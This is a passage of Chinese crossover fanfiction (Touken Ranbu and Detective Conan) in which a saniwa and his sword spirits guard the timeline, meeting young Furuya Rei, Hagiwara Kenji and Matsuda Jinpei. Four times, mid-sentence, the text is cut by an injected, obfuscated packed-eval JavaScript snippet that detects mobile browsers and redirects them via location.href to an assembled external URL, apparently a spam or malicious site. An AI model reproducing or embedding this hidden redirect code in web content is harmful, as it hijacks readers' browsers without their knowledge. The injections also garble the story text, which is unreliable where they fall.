七星剑的视线从被乌云遮蔽的天空移至眼神清明的降谷零身上：【命运允其看破阴霾。】 【不过看样子规则倒也没有让我们完全暴露的意思？】江霖身后的药研藤四郎微微挑眉，【毕竟，证件上写的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559844|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份正好跟这孩子猜的差不多啊。】 “嗯。”面对小孩子忐忑中夹杂着期待的目光，江霖眼神柔和下来，轻轻点头。 不存在的部门……这样说也没有错。 小降谷零的眼睛顿时亮了起来，似乎是想要说什么，但随即又迟疑着问道：“大哥哥，我能把你们的事告诉别人吗？” 这种部门好像都是不能被普通人知道的，虽然他真的很想分享给hiro，被妖怪绑架又被特殊部门救下这种经历，超帅的诶！ 但是、要是给他们添麻烦就不好了。 “抱歉，不行。”犹豫了一下，江霖蹲下身，将手掌落在金发孩子柔软的发顶，直视着他的眼睛，声音温和却严肃，“今晚的事，不能告诉任何人。” 那双宝石一样的眼眸中甚至带着几分严厉，明明白白的告诉了降谷零事情的严重性，从小就很敏锐的孩子于是乖乖应下，即使这个大哥哥连原因都没有告诉他。 但降谷零没有想到，他要说的不只是如此。 “包括你自己。”他听到青年这样开口，“把今天晚上发生的一切当做一场梦，醒过来就忘了吧，不要为此影响你的生活。” 碍于视野的限制，降谷零没有发现他头顶的手掌中溢出的点点白光。在江霖那句话出口后，他忽然觉得眼皮很重，即使他努力抗拒，也阻挡不了那股突然袭来的困意。 唔、不行，他有很多事想要问，还有艾莲娜医生…… 眼睛合上前的最后一秒，他似乎看到了面前的人眼底涌现的歉意。 【审神者大人，您做了什么？】狐之助的语气茫然且震惊，【刚刚检测到的时间轴的震荡突然消失了。】 刚才时间轴出现了一点小波动，显然跟降谷零遇到时间溯行军有关。虽然还在历史自我修复的范围内，但如果溯行军再在降谷零面前出现，难保他不会因为好奇去调查它们。 ——别怀疑，以降谷零在一众重要人物中也是拔尖的推理能力和行动力来看，他绝对干的出来，但那样就完全偏离他的人生轨迹了！ 可在江霖使用了灵力、降谷零昏睡之后，时间轴的情况就稳定下来了，说明这个可能性已经微乎其微。 是跟障眼法类似的能力？ “我试着混淆了他今晚的记忆，看你的样子，效果大抵还不错。时间溯行军的事是我们的任务，他现在的任务是好好长大。” 接住软倒的金发小孩，江霖抱着他起身：“狐之助，这孩子住在哪里，我送他回去。” 对人类用这个术法是第一次，谨慎起见，他只用了不到四分之一的力量，原本还担心会出现意外，但看狐之助的表现，想来是没有。 送降谷零回到家里之后，江霖被狐之助催促着返回。 因此，没有人知道，他们离开的第二天，降谷零兴冲冲地去找了自己的发小：“hiro！我昨天晚上做了个很有意思的梦！我跟你说……” 在时间政府没有注意的时候，这段时间轴本身出现了一点细微的变化，很微小，不影响整体的稳定，甚至没有付丧神来到历史中产生的影响大，所以，也没有引起系统警报。 5. 第 5 章 微风拂过窗外的树木，吹起阵阵绿色波浪。 加州清光对着阳光伸出五指，端详自己刚刚做好的指甲，然后满意地点点头。 他旁边的单人餐位上是正捧着切块的甜瓜慢慢啃的白山吉光，少年模样的白发付丧神表情认真又专心，向来平淡的眼眸洋溢出幸福。 今天是工藤新一变小的第七天，也是主人离开的第七天。 从那次袭击失败之后，敌人好像暂时放弃了对工藤新一出手，不过加州清光也没有完全放心，三人轮流在暗中跟踪保护他。 不可否认，工藤新一很敏锐，但远超常人的五感让付丧神们可以用正常人无法做到的方式观察他。 正如现在，他们在一家餐厅中，位置和化名江户川柯南的工藤新一所坐的桌子处在对角线的方向，中间隔着好几张桌子和用装饰做的隔断，完美阻隔了视线。 舒缓的音乐和就餐高峰期嘈杂的人声也足以掩盖大部分声音，在没有被一些“小东西”窃听的时候。 加州清光暂时没有用新身份去找人要窃听器的想法，总觉得会被当成变态。而且这种科技造物也很容易被江户川柯南发现，他那个邻居好像给了他很多奇奇怪怪的发明。 再说，他们只是要保证工藤新一的安全，不是真的在监视他。现在这个距离，不会轻易被发现，要仔细听才能捕捉到那边的声音，真遇到危险也能用最快的速度赶过去，刚刚好。 今天是白山吉光负责保护工藤新一，加州清光也在是因为他遇到了一个人，一个很麻烦的家伙。 “小加州～，久等了！” 啊，来了。 加州清光收回手，看着在门口环顾了一圈后直奔他而来的高大青年，内心深深地叹了口气。 事先声明，这人不是他招惹上的。 三天前，他因为距离工藤新一太近，被卷进一场杀人案，成了目击证人，在案件侦破后去做了笔录。 谁知道在警察局门口碰到了这家伙，准确的说，是这家伙自己撞上来的。 因为当时门口明明有那么多人，他却直奔自己而来，开口第一句话就是：“冒然打扰很抱歉，但是，你认识小药吗？啊就是，那孩子说他叫药研藤四郎。” 这个名字让加州清光成功止住了摇头的动作，但当时的情况不适合细说，于是他跟自称萩原研二的青年约了今天详谈。 点完餐，加州清光有一下没一下地搅着杯子里的冰块，抬头看了一眼对面的人：“解释一下？你怎么认识药研的，还知道我？” 他们在过去的时间节点做了什么啊！这么久都没回来好像还被人知道了身份，他当时听到那个名字的时候刀都快拔出来了！ “要细说的话很复杂，简单来说，是那孩子救了我哦。”萩原研二笑吟吟地回答，望向加州清光的眼神带着一点恰到好处不会让人生厌的惊讶和好奇， “小药让我给你们带话的时候还说一眼就能认出你们，我本来还不信呢，没想到居然真的这么神奇。” 单从外貌来说明明是个漂亮到有些纤细的少年，却给人一种危险又锋利的感觉，就好像面前的不是一个人，而是一把出鞘的、浸染过无数鲜血的利刃。 这样的气质除了小药和他的同伴外，他也就在今天这两个人身上看到过了。 萩原研二不动声色地瞟了一眼安安静静的白山吉光。 加州清光的动作一顿，神情不再散漫，红色的眼眸眯起：“他让你带了什么话？” 虽然已经过去了七天的时间，但契约没有出现问题，所以他们没有太过担心。 而且这个世界的情况本来就跟之前的不一样，因此他跟烛台切猜测是过去跟现在的时间流速不同，实际上主人并没有停留那么长时间。 可现在做出让一个不知道能不能遇到他们的人来给他们带话这样不同寻常的举动，是遇到危险了吗？ “‘遇到一点麻烦，解决之后才能回来，不用担心。’小药这样说了哦。”萩原研二眨了眨眼。 “？” 加州清光深深地吸了一口气，又缓缓吐出，露出灿烂的笑容：“方便说一下吗？关于他救你和让你传话的具体过程。” ———————— 送小降谷零回到家里之后，原本应该返回现在时间线的几人又遇到了时间溯行军。 解决完敌人，狐之助又在一年后宫野志保出生的时间节点检测到溯行军的信号。 听到这话，江霖当即决定直接赶往下一个任务地点：“速战速决。” 那里没有什么厉害的敌人，但是，他们目睹了宫野夫妇实验室起火的一幕。 【审神者大人！】狐之助制止了想要冲进火场的江霖，【您不能救他们，是有一部分人物的存活不会影响历史，但宫野夫妇不在其中。】 宫野夫妇所做的名为“银色子弹”的实验成果，还只能算得上是半成品，这已经让贝尔摩德获得了容貌不变的能力，但同时也让她失去了更多。 返老还童、死而复生……黑衣组织的野心太大，大到意图操纵时间，这是时间政府绝不允许的。 所以，宫野夫妇不能活下去，只要他们还活着，已经看到希望的黑衣组织就不会停下实验。 “……” 江霖停下了动作，他看着在燃烧的火光中的二人的身影，人的本能是求生，可他们，在寻求死亡。 意外起火？真的吗？ 那他们为什么没有想办法逃出来，而是留在原地，在火光中停驻，仿佛在迎接自己的死亡。 他不再看越烧越旺的实验室，在狐之助出声前转身：“他们的……女儿在哪里？我想见见那孩子。” 只有几个月大的宫野志保不在组织的研究所中，她被放在一个很有生活气息的、布置温馨的普通公寓中，即使那小小的公寓中布满了监视器。 狐之助入侵了监控，药研藤四郎和山姥切国广守在外面防止突然有人过来他们却没发现。 襁褓中的婴儿沉沉睡着，尚不知晓自己失去了父母。 带有细碎伤痕的手指踌躇着伸出，却在真正触碰到女婴幼嫩的皮肤前倏然收回。 最终，江霖只是半蹲着，用那双在黑暗中黯淡无光的眼睛注视着宫野志保。 不知怎的，他这个眼神让狐之助很不安：【审神者大人……】 “狐之助，她也会死在黑衣组织手中吗？”江霖的声音很轻，轻到听不出真实的情绪。 但这样轻飘飘的声音却加重了狐之助心中的不安，它有种预感，如果它回答了“是”，哪怕他们的职责是守护历史、哪怕宫野志保的存在会影响历史，江霖也会改变她的结局。 幸好，宫野志保不会死在…… “即使她的命运将在不久后终结，你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559845|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能介入。”一只手搭在江霖的肩上，施力下压，“我等的任务是守护历史，契约者，你执迷了。” 七星剑看不到江霖的表情，但能感觉到手底下的身躯一颤，眼前人的呼吸也明显变得不稳。 “……抱歉，我失态了。” 江霖的呼吸重新平稳下来，他深深地看了一眼熟睡的宫野志保，指尖隔着包被轻触女婴的眉心。 【那个，审神者大人，宫野志保会成功长到十八岁然后变小逃离黑衣组织的。】 耳边是狐之助小心翼翼的说辞，但江霖没有听，他望着宫野志保的眼神十分温柔，却充斥着一股怪异感，就好像，那不是他自身的情绪，他只是在模仿某个人。 “要好好长大，成为自己想成为的人。” 小霖，要好好长大，成为自己想成为的人，做自己想做的事，不要被外物影响。 记忆中已然模糊的女声再度变得清晰，江霖张了张嘴，最终还是将那两个字咽下，只是在心中呢喃。 母亲…… 很快，江霖就将自己从怀念的情绪中抽离，现在不是可以肆意回忆过去的时候。 “准备去下一个地点吧，看样子，敌人是想跟我们打消耗战。” 后续也正如他说的那样，一旦发现某个时间节点的部署被消灭，敌人就发起了对新节点的攻击，让他们一直得不到休息。 工藤新一出生的时间节点、七岁时海滩遇到的汽车坠海事件、十四岁时雪女杀人事件…… 敌人频繁的发起攻击，却每一次都只是派出小部分兵力，消耗他们精力的目的显而易见。 但他们却不能不去，负责监测的狐之助看着某个数值已经接近红色，忍不住开口。 【审神者大人，我们先回去吧，您不能再继续了……】 过度消耗灵力又没有时间恢复，再这样下去身体会受不了的！ 【我分析过时间轴和各方面的数据了，这次之后短时间内溯行军是没办法发起攻击的，更重要的是，您现在需要休息！】 江霖没有拒绝，但也没有马上答应，而是搅拌着杯子里的饮料：“等药研回来。” 药研藤四郎去追击剩下几个逃窜的高机动敌短了，他则是在山姥切国广的强硬要求下待在一家甜品店内休息。 此时，追击敌短的药研藤四郎发现了不对，他怎么感觉，这些家伙好像在故意把他往某个地方引？ 这种感觉在敌短逃进一座高楼后越来越明显，谁逃命的时候会把自己往绝处逼？除非对方有信心能甩开他，否则进入高层建筑只是进一步缩减了它们逃跑的范围而已。 但药研藤四郎可不会觉得被他追了半个小时的敌短会意识不到，它们还没蠢到这个地步。 看来要更加小心啊，还不知道上面有什么在等着。 脑子里思索，却不影响药研藤四郎的动作，他利落地翻过栏杆追上躲进楼梯间的敌短，借力飞身上前。 “天真！看招！” 一击毙命。 这就是最后一个了，药研藤四郎收起刀别回腰间，忽然眼神一动，抬头望向某个方向，然后跟楼梯门后探出来的脑袋对上了视线。 药研藤四郎心里一惊：糟了，不会被看到了吧。 但对方看起来比他更紧张。 “不是说人群都疏散了吗，怎么还有个孩子在这里？！” 6. 第 6 章 【药研，怎么了？】 时间溯行军的气息已经消失，链接那边却没有传来少年惯例充满自信的声音，反常的情况让江霖忍不住询问。 【只是碰到了一个人。】药研藤四郎的回复及时响起，【已经解决了，我马上就回去。】 【嗯。】 虽然这样应着，江霖对面的山姥切国广却看到他蹙起眉：“怎么了？” “不……” 【嘀——！】 不等江霖回答，就突然有什么声音，穿过链接传了过来，江霖心中陡然不安起来，这个声音……！ 【嘭！】 “嘭！” 什么声音！ 江霖倏然抬头，明亮的玻璃后，一处高楼冒起了黑烟，隐约可见破碎的墙体和火光。 那个地方，刚刚爆炸了。 “那里是……！”山姥切国广的声音几乎变调。 “药研！” 砰！ 江霖面前的玻璃杯被撞翻在地，但他顾不得这些了。 那是药研藤四郎刚刚去的地方！ 连旁边的山姥切国广都顾不上，也想不起使用灵力，江霖如离弦的箭一般冲了出去。 楼下拉起的警戒线也只是稍微减慢了他的速度。 翻过警戒线进入大楼，电梯已经停运，江霖一步不停的冲上楼梯。 爬过十几层，耳边忽然响起熟悉的声音：【咳咳、大将，我没事……好像也不能说没事，但总之，没什么大问题。】 “……药研？” 话一出口，江霖才发现自己的声音甚至是颤抖的。 药研藤四郎显然也注意到了这点，他的语气骤然严肃：【大将，你是不是自己跑过来了？你现在的身体情况不能再劳累了。】 【抱歉，没拦住主人。】 追上来的山姥切国广按住江霖的手臂，碧绿的眼眸中满是不赞同：“你这个样子跑上去，是想让受伤的药研担心你吗？” 他把另一只手上挂着的黑色风衣披到江霖身上，是他落在店里没拿的那件。 在他眼中，江霖看到了自己现在的样子：眼神中透露出浓重的倦意，面色苍白，泛白的唇更是没有半点血色。 江霖一怔：“……啊。” 他现在的样子，原来这么难看吗？ 难怪大家都很担心。 这是他作为审神者的失职。 强迫自己冷静下来，江霖后知后觉的意识到，他的心脏跳的有多快。 咽下喉间涌上的腥甜，江霖握紧拳，又缓缓松开，因刚才的举动而干涩的嗓音恢复了冷静：【你的伤势如何？我们就在楼下，距你应该不到五层楼，三分钟内就能到。】 【等等，你们别上来！这里的情况很危险。】药研藤四郎立刻拒绝，【这层楼刚刚爆炸过，墙体都裂开了，有坍塌的风险。狐之助，我现在需要政府机关的协助。】 【药研殿下您说，我去联系！】 【我们在这个时代的身份可以直接调直升机吗？】 【可以的，我马上通知他们！】 药研藤四郎从青年的怀中撑起身子，目光扫过倒了一地的人，突然迟疑了：【嗯……能调两架吗？这里还有几个人，都被爆炸余波掀震晕过去了，一架可能带不走。】 【啊、啊？可以的，没问题！】 望着萩原研二背后大片灼烧的痕迹，少年模样的黑发付丧神此刻的心绪难以形容：被人类保护了啊…… 刚才炸弹启动的时候，这个青年第一时间反应过来，下意识冲向炸弹的方向，却又忽然停住，硬生生改变了动作，扑过来把他护在身下。 耳边传来直升机螺旋桨转动的声音，失去墙壁遮挡的阳光直直洒在身上，给倒在地上的青年也铺上一层金光。 阳光有些刺眼，药研藤四郎微微眯起眼，唇角扬起：“这个时候是不是应该说，恭喜我们都成功活下来了？” ———————— 话说早了。 药研藤四郎没想到有朝一日自己还能体会到人类养伤的待遇。 “但我们不应该抓紧时间离开吗？”被强行按在病床上、还缠了绷带的少年满脑子不理解，“为什么我要躺在医院里？？” 他的伤又不是养一养就能自己好的！！ 【很遗憾，我们现在走不了。】狐之助语气沉重，【我们被留下来打工还债了！】 药研藤四郎：“……哈？” “转换装置无法启动，”金色表盘打开，内里是怎么施力也一动不动的指针，“暂时离开不了这个节点。” 搁下怀表，江霖拿起水果刀和一个苹果削了起来，这是一位卷发青年送过来的，狐之助在兢兢业业地给药研藤四郎解释。 【萩原研二，就是被你身上的御守一起救下的紫色眼睛的警官，他和另外几位警察原本的命运是死在那场爆炸中。】 【现在因为我们的介入，他们成功活了下来，万幸的是，时间轴很稳定，历史没有因此被影响。】 “这跟转换装置用不了有什么关系？”药研藤四郎不解。 【‘任务世界与时间轴还在磨合阶段，规则法则不一定与我们已知的一致。’审神者大人或许还记得这个，现在正是这样的情况。】 灵巧地削了一半苹果皮的江霖轻轻点头：“嗯，按以往的经验来讲，不应该出现这样的情况。” 于历史而言，他们是“异物”，是不应该出现的，会被排斥的东西。 但现在，他们被历史“主动”留下了。 这是与已知经验不符的情况。 换言之，是属于这个世界原本的规则，它现在“需要”他们留下来。 【我推测，是历史本身的修复力无法修补这个漏洞，需要外力作用加入完善逻辑。因此，无意中改变了原定结局的各位被迫参与了这一段历史。】 【作为交换，在这段时间节点内，审神者大人将不会受到来自历史的排斥，可以好好恢复了。】 面对药研藤四郎听完这段话投来的询问的眼神，江霖割断削完的苹果皮后给予肯定的答案：“是的，我的灵力在恢复。” 原本跳跃时间只会不断消耗他的灵力和精力，停留的越久，消耗的越快。 简单来说，现在他们所在的这段历史，承认、包容了他们的存在，并愿意为他们提供庇护。 “这样吗？那太好了，”药研藤四郎第一反应是，“不然你的身体真的会承受不住的。” 【……你们真有默契啊，山姥切国广和七星剑刚知道的时候也是这个反应。】 吐槽了一句，狐之助接着道：【至于参与的内容……顺其自然就好，已经参与进历史本身，各位在做的就是创造历史而不是维护，是未知的，没有明确的答案。】 【等时间转换装置可以启动的那一刻，就是我们能够离开的时候。】 听了这些话，药研藤四郎若有所思：“那我现在要做的，就是作为一个‘普通人’养伤？” “我会根据应有的恢复速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559846|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一点点修复你的本体。” “帮大忙了啊，”药研藤四郎刚刚扬起的笑容在看到江霖削好的苹果时滞住，“这个苹果……” 江霖细致地给苹果削了皮，切了块，还摆了盘，十分贴心。 ——如果不是摆成兔子苹果的形状就更好了。 “不想吃吗？那换一个。”说着，江霖的手伸向果篮里的青梨。 “不我不是这个意思……”药研藤四郎试图组织语言，发现组织失败，于是自暴自弃地压低了声音喊，“大将，别把我当小孩哄啊！” “现在要叫我哥哥。”见他不是因为讨厌苹果才拒绝，江霖递过去一块，后者接过苹果吃了起来，倒也没问他为什么这么说。 在狐之助给的身份证明上，他跟江霖是兄弟关系，参与进历史需要一个明面上的正常身份，正好能用上。 吃完苹果，药研藤四郎终于想起来问：“山姥切和七星剑呢？怎么一直没看到他们。” “他们去工作了。”江霖控制着灵力的释放，防止一不小心完全修好了药研的本体。 狐之助的声音随之响起：【他们去侦查了，之前检测到一股隐隐约约的溯行军信号，要查清楚情况才能放心。】 药研藤四郎点头，正想说什么，表情忽然一变：“有人来了。” 脚步声、车轮压过地面的吱嘎声、交谈的声音穿过墙壁变得模糊，其中一道听起来格外耳熟。 是萩原研二。 药研藤四郎迅速做出判断。 他看向同样注意到外面动静的江霖，青年收起短刀，走到窗边拉开窗帘，然后坐回床边的椅子上。 下一秒，敲门声响起。 “打扰了～” 轻快的声音响起，开门的江霖对上一双温柔关切的紫色眼眸：“听说那孩子醒了，所以我来看看。” 江霖沉默着侧开身，让松田阵平推着萩原研二进了病房。 看到萩原研二的样子，药研藤四郎明白江霖为什么一言不发了，他现在的心情也很复杂：“……谢谢，不过我觉得你更应该关心一下你自己。” 轮椅上的萩原研二整个头都被纱布包住，只露出一双眼睛和零星几缕头发，不过此刻下半张脸的纱布被扒拉开，露出弧度灿烂的嘴角，虽然下一秒就因为不知道扯到哪一处伤口而痛的龇牙咧嘴。 说实话，萩原研二的笑容很治愈很灿烂，但药研藤四郎现在只想把人轰回去：这家伙全身至少50%的皮肤被烧伤，还有不知道几处脏器出血和骨头错位，伤成这个样子，谁让他下床的！ 疑似偷渡病人的帮凶表情很难看，不过是对着某个快裹成木乃伊还不安分的家伙：“他说一定要来谢谢自己的救命恩人，怎么都拦不住，为了避免他偷溜，我只能亲自送他过来。” 【可他的肢体动作和神情更像是在押送犯人。】 自动过滤狐之助的吐槽，药研藤四郎认真地扮演一个死里逃生后庆幸后怕的未成年：“不，是我该感谢警官才是，你是为了保护我才伤的这么重。” “虽然研二我很想大言不惭的认下这份功劳，但以我们和炸弹的距离还有它的威力来看，我的举动顶多让你的遗体不那么踪迹全无而已。” 萩原研二的声音放缓了，紫水晶一般熠熠生辉的眼眸明亮而干净：“我看到了哦，爆炸的时候，在你怀里亮起来的金光。” “所以，其实是你救了我和我的同僚才对。” 啊，他果然发现了。 药研藤四郎冷静地想。 7. 第 7 章 “如果是想知道这一点的话，恕我们无可奉告。” 平静到冷淡的声音响起，是江霖。 青年关上门，站到药研藤四郎身前，挡住萩原研二看向他的视线。 “原来研二给人的印象居然是这种不识好歹的性格吗？好伤心——”萩原研二作势捂脸痛哭，然后忽然僵住，嗷的一声发出痛呼。 “小阵平，我的伤口好像裂开了！” “……医生都说了你现在不能动。” 嘴里抱怨着，松田阵平认命地查看起他身上有血迹渗出的地方：“好消息，只有一个地方裂开了，你可以坚持问完再回去。” “但坏消息是，”他倏地露出一抹狞笑，握住轮椅推手调转方向，转身就走，“你没有选择权，先去把伤口处理了再来，他们又跑不了。” 其实想跑但没跑掉的几人：。 走到门口，松田阵平动作忽然一顿，就在萩原研二以为他改变主意而露出惊喜的目光时，他侧过头挥了挥手：“回见。” 这下他们是真的离开了，轮椅声渐远，房间一时安静下来。 “这两个人，还挺有趣嘛。”药研藤四郎笑了，“眼神也很厉害。” 一般人那个情况下可注意不到透过衣服发出的不仔细看就会忽略过去的光芒。 【看样子不能直接糊弄过去呢。】 “单纯的谎言太容易被戳破，要完善这一段历史的逻辑，就不能仅靠欺骗。”江霖对他道，“将能说的部分告诉他们，无法解释的，可以利用我们在这个世界的身份遮掩过去。” “嗯。”药研藤四郎点头应下。 处理完伤口第一时间跑回来的萩原研二只见到了药研藤四郎，江霖不见踪影。 “哥哥在不在都一样，你问我就行。”看着十四五岁的少年神情沉稳。 这个年纪也算是半个大人了，而且他才是当事人，萩原研二也就直接问了：“那么，第一个问题，可以告诉我你的名字吗？” 少年的表情变得有些微妙，似乎很想吐槽些什么，但最终只是简洁地回答了他：“药研藤四郎，可以这么叫我。” 松田阵平眉头一挑：“比起人名，这更像是武器的命名方式吧。” “这样很帅气啊！”萩原研二截断他的话，流畅地改变了称呼，“小药，我可以这样叫你吗？” 你这不是已经直接喊上了吗…… 大概是药研藤四郎的表情太明显，萩原研二讨饶似的笑笑后，正色起来：“你不是那栋楼的住户吧，怎么会出现在爆炸现场的？” 当时情况紧急没来得及细想，现在回想起来，现场是被封锁禁止入内的，那药研藤四郎在没有惊动楼下警察的情况下跑到二十层这点，就很值得深思了。 虽然不想怀疑同僚们作为警察的专业能力，但没一个人发现个半大的孩子潜入现场，这真的有点……失职了。 “我是去执行任务的。” 果然还是要跟上面提议一下……嗯？？ 意识到药研藤四郎说了什么，萩原研二的瞳孔不自觉放大了一瞬，但他很快就想到一种可能，故意露出轻松搞怪的表情： “是跟朋友之间的大冒险吗？虽然我很欣赏这样的探险行为，但冒然闯入办案现场还是太危险了……” “警官先生，感谢你的体贴，但你不应该因此忽略我身上的疑点。” 两双相似的紫色眼睛相撞，看到他眼中的情绪，萩原研二噤了声。 坐在床上的少年褪去了那一分青涩和伪装出的劫后余生的庆幸，他背脊挺直，即使面色苍白，也掩不住身上凛然的气势，如同一柄出鞘的利刃。 这不是一个应该正在上学的少年人该有的眼神，是见惯了杀戮和血腥的人才会有的气势。 是啊，萩原研二其实知道的，东京警察虽然经常被诟病无用，但他们不至于那么多人都发现不了一个普通的少年。 更何况，他见到了那时药研藤四郎手中的短刀，和刀上残留的血迹。 所以他才会在醒来后第一时间坚持见他，他想知道原因。 可是，真正见到药研藤四郎之后，他改变了想法。 少年的无奈和关心都做不得假，作为一个擅长洞察情绪的人，萩原研二对这点很有信心。 而且……萩原研二无声地叹了口气，这可是他的救命恩人啊，他也没有亲眼见到受害者，就这样直接用对待犯人的手段和他沟通的话，也太过分了。 “你是挺可疑的。”对比自己的幼驯染，松田阵平丝毫没有委婉一点的想法，“但既然你自己提出了这点，就说明你不打算继续隐瞒了吧。” “毕竟他都看到了，要想办法瞒着你们太麻烦了。” 少年扔过来一样东西，松田阵平抬手接过，看见里面的内容后，他怔住了。 耳边响起药研藤四郎沉稳镇定的声音：“再次自我介绍一下，我名为药研藤四郎，隶属于霞关。” “本次出现在吉冈三丁目浅井别墅区是为了完成上级的任务，具体内容恕我无可奉告。” 轮椅上视野受限正扒拉着松田阵平让他把证件给自己看的萩原研二也呆住了。 然后，他不顾自己一身的伤，朝床上的少年扑了过去。 “小药，好过分！居然吓唬我！” “什、等等！你别乱动！等会伤口又裂开了！” ———— 住院部顶楼的天台往常是个适合病人散心的地方，只是十一月温度骤降，兼之秋风萧瑟，来的人就少了。 今天更是只有一道长发黑衣略显单薄的身影阖着眼坐在大理石制成的长椅上。 【侦查到溯行军的踪迹了吗？】 在其他人看来闭目养神的青年正询问在病房时没来得及细说的消息。 【每次刚发现一点敌人的痕迹，刚靠近它们就离奇消失了，不久后又出现在另一个方位，我和七星剑甚至连敌人有多少人都没见到。】 对于棘手的战况，山姥切国广情绪平稳，只是带着一点对江霖的担忧：【主人，敌人的情况不对劲，你也多小心。】 【我会的。】 哐当！ 楼梯处的铁门发出一声巨响，比起推开，更像是被什么猛地撞开了。 熟悉的令人作呕的腐朽气息迅速接近，丝毫不加以掩饰。 看来在这个世界，审神者孤身一人时，依然很容易被敌人盯上。 这么想着，江霖维持着原本的姿势，抬手朝着声音发出的地方就是一枪。 “咚！” 重物倒地的声响。 不对！时间溯行军死亡后不会留下躯体！ 江霖倏然睁眼望去，映入眼中的景象和狐之助的声音一同被他接收。 【审神者大人！那不是时间溯行军！只是一个沾有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559847|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溯行军气息的普通人！】 地上躺着的是一名男性，三十岁左右，面容普通，身上没什么显眼的特征，除了……手上厚厚的枪茧。 江霖眼底的情绪沉了下去：【狐之助。】 正常人怎么会无缘无故沾染溯行军的气息？还浓重到他根本无法察觉不对。这种事，远远超出了他们的预料。 【是！】狐之助迅速检测了一遍地上男人的身体数据，看到结果后，只觉得它的脑子空白了一瞬，语气呆滞中带着不解，【审神者大人，这个人已经脑死亡三天了……】 一个理论上死的不能再死的人，居然还能跑过来袭击审神者？？ 这也是这个世界规则的不同之处吗？不不不，怎么看都跟溯行军脱不了关系啊！ 【看来敌人受到的桎梏比预计的还要严重，】青年脸上的神色更冷，【以至于它们开始对不会影响到历史的普通人下手了。】 他蹲下身检查尸体，狐之助提醒道：【气息最重的地方在头部。】 找到了。 江霖在男人脑后摸到一块突起的尖锐物体，稍一用力，一截碎刃便被拔出，附带一团粘连在断刃上的血肉。 【这、这这……！】狐之助震惊的话都说不清楚了。 这个人身上的碎刃有血肉组织生长附着的痕迹，只能说明，他是在活着的时候就被侵蚀污染，遭受了不知多久的折磨才死去，甚至死后都不得安宁。 【熟悉的伎俩。】江霖垂下眸，视线落在尸体脑后的空洞上，【但相比本丸那时，敌人这次的手段要更加粗糙、简陋……和直接。】 简单粗暴的将人类躯体与带有污浊气息的刀刃碎片结合，任由其侵蚀人类的意识。 而没有灵力的普通人几乎无法抵抗其带来的侵蚀，后果可以说是显而易见。 即使侥幸捱过，自身意识也已湮灭，徒留一具□□，不过傀儡而已。 【可是溯行军这样做有什么意义？】狐之助无法理解，【普通人的战斗力本就比不上付丧神，这样做还让他们失去了人类善于思考的大脑，对我们的威胁甚至不如一只最普通的敌短刀。】 江霖释放灵力将碎刃和上面的血肉碾成齑粉：【不清楚。】 费时费力、得到的效果还不一定理想，想不到敌人这样做的理由，可它们偏偏就这么做了。 【也是，我们现在知道的消息还是太少了，只能等后面有更多情报再分析……审神者大人，您这是做什么？？】 【逝者当入土为安。】江霖脱下风衣盖在尸体身上，【最近的墓地在哪里？】 江霖徒手带着一具成年男性的尸体跳上护栏，一直躲在铁门后的人影瞳孔一缩，顾不得隐藏自己，急声喊道：“等等！” 然而他还是晚了一步，黑发青年已经一跃而下。 这跟自杀有什么区别！？ 诸伏景光冲到护栏前往下看，见到的却不是预想中血肉横飞的场景。 安然无恙的黑发青年正抬起头向上看，似乎是发现了他，嘴唇阖动着，说了句什么，然后迅速消失在他的视线中。 诸伏景光没能分辨出他说了什么。 但见到青年如红宝石一样清透的眼睛时，幼时挚友炫耀一般分享过的奇异梦境的记忆被重新翻出。 “原来……”诸伏景光的语气轻飘飘的，神情恍惚，“zero小时候的那个梦，不只是梦吗？” 8. 第 8 章 发现好友小时候做的梦可能是真实发生的该怎么办？ 诸伏景光：谢邀，大脑已过载，正在重启中。 一个月前从警校毕业后，他进入了东京警视厅公安部，并在几天前确认将潜入某组织卧底，即将进行封闭训练。 昨天他得知萩原研二在拆弹任务中受伤住院，就向上级请了假前去探望他。 在医院中，他发现了一个奇怪的男人。 